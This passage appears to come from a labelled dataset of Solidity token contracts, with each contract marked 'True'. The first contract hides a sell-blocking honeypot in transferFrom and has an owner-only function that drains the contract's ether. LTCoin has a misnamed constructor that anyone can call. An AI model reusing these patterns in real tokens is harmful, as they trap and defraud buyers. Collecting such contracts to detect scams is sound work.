true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract ElectricCarTesla is TokenERC20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } // DISCLAIMER : Those tokens are generated for testing purposes, please do not invest ANY funds in them!

True

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pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract LTCoin { // Public variables of the token string public name; string public symbol; uint8 public decimals = 6; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = 10000000000000000000; // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "LTCoin"; // Set the name for display purposes symbol = "LTC"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-07-27 */ // SPDX-License-Identifier: MIT // ICO for Parking Squatter pragma solidity 0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Token is ERC20, Ownable { string constant SYMBOL = ""; string constant NAME = ""; uint256 constant MINT_AMOUNT = 0; address constant ICO_ADDRESS = 0x0000000000000000000000000000000000000000; uint256 constant ICO_AMOUNT = 0; uint256 constant BOUNTY_AMOUNT = 0; uint256 constant MINING_AMOUNT = 0; uint256 constant SHOP_AMOUNT = 0; constructor() ERC20(NAME, SYMBOL) public { _mint(address(this), MINT_AMOUNT); _transfer(address(this), ICO_ADDRESS, ICO_AMOUNT); } function sendMining(address account) public onlyOwner { _transfer(address(this), account, MINING_AMOUNT); } function sendShop(address account) public onlyOwner { _transfer(address(this), account, SHOP_AMOUNT); } function sendBounty(address account) public onlyOwner { _transfer(address(this), account, BOUNTY_AMOUNT); } function burn(uint256 amount) public { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } contract ICO is Ownable { uint256 public price; Token public token; bool public finish = false; event ChangePrice(uint256 price); function setToken(Token addr) public onlyOwner { require(address(token) == address(0), "Token is already installed"); require(addr.balanceOf(address(this)) > 0, "Invalid token"); token = addr; } function setPrice(uint256 value) public onlyOwner { require(!finish, 'ICO completed'); price = value; emit ChangePrice(price); } function setFinish() public onlyOwner { require(!finish, 'ICO completed'); token.burn(token.balanceOf(address(this))); finish = true; } function getEth() public onlyOwner { address payable sender = msg.sender; sender.transfer(address(this).balance); } receive() external payable { require(!finish, 'ICO completed'); require(address(token) != address(0) && price != 0, "ICO is not initialized"); token.transfer(msg.sender, msg.value * price); } }

True

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/* From Noodle Fans, To the World Website: https://gyudon.farm || Telegram: t.me/gyudonfarm */ pragma solidity ^0.6.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see 